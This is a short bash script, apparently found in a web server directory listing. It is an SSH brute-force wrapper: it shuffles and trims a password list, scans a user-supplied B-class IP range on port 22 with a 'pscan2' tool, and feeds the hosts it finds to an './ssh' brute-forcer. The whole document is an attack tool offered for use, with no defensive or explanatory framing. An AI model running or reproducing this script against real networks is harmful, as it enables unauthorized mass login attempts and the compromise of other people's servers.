| Current Path : /var/www/html/kamini/xp/ |
| Current File : /var/www/html/kamini/xp/xp |
#!/bin/bash
#
# by lizard
#
if [ $# != 1 ]; then
echo " usage: $0 <b class>"
exit;
fi
rm -rf ips.log
echo -e "[+] A little ssh bruteforce tool\n\r\t - modified by XphaN\n\n"
echo
echo
echo "[+] Randoming the passwd.lst file for faster success.."
awk 'BEGIN{srand()}
!/^$/{ a[c++]=$0}
END {
for ( i=1;i<=c ;i++ ) {
num=int(rand() * c)
if ( a[num] ) {
print a[num]
delete a[num]
d++
}
if ( d == c/100 ) break
}
}' passwd.lst >> temp
rm -rf passwd.lst
mv temp passwd.lst
sleep 1
echo "[+] Saving current scanning 'ip-class' to file 'scanned' [+]"
sleep 1
echo $1 >> sctmp
cat sctmp |sort >> scanned
rm -rf sctmp
././pscan2 $1 22
sleep 10
echo "[+] Sleeping 10 seconds.."
echo "[+] Alright.. bruteforcing..."
mv ips.log ip.conf
./ssh 100
echo "[+] Sleeping 10 seconds.."
sleep 10